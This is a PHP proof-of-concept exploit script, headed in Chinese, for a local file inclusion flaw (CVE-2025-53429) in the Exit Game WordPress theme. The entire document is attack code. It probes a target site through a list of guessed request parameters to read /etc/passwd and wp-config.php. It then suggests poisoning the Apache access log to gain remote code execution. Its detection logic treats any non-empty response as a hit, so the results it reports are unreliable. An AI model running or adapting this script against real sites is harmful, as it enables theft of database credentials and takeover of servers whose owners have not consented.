CVE-2025-53429 Exit Game WordPress主题本地文件包含漏洞

<?php /** * CVE-2025-53429 PoC - Exit Game WordPress Theme Local File Inclusion * Author: Security Research Team * Date: 2025-12-18 * * Usage: php poc.php <target_url> <file_path> * Example: php poc.php http://target.com /etc/passwd * Example: php poc.php http://target.com ../../wp-config.php */ $targetUrl = $argv[1] ?? ''; $filePath = $argv[2] ?? '/etc/passwd'; if (empty($targetUrl)) { echo "Usage: php poc.php <target_url> <file_path>\n"; echo "Example: php poc.php http://target.com /etc/passwd\n"; exit(1); } // Normalize file path to prevent filtering $encodedPath = urlencode($filePath); // Common vulnerable parameters in WordPress themes $vulnerableParams = [ 'page', 'file', 'template', 'action', 'load', 'include' ]; echo "[*] CVE-2025-53429 LFI PoC\n"; echo "[*] Target: {$targetUrl}\n"; echo "[*] File to read: {$filePath}\n\n"; foreach ($vulnerableParams as $param) { $url = $targetUrl . "?{$param}=" . $encodedPath; echo "[*] Testing parameter: {$param}\n"; echo "[*] Request URL: {$url}\n"; $context = stream_context_create([ 'http' => [ 'method' => 'GET', 'timeout' => 10, 'ignore_errors' => true ] ]); $response = @file_get_contents($url, false, $context); if ($response !== false && !empty($response)) { echo "[+] Vulnerable! File content:\n"; echo str_repeat("-", 60) . "\n"; echo substr($response, 0, 500); if (strlen($response) > 500) { echo "\n... (truncated)\n"; } echo str_repeat("-", 60) . "\n"; } else { echo "[-] Not vulnerable or file not accessible via this parameter\n"; } echo "\n"; } echo "[*] PoC execution completed.\n"; echo "[*] Recommended files to check:\n"; echo " - /etc/passwd (system users)\n"; echo " - ../../wp-config.php (WordPress configuration)\n"; echo " - ../../wp-load.php (WordPress core)\n"; echo " - /var/log/apache2/access.log (for RCE via log poisoning)\n"; ?>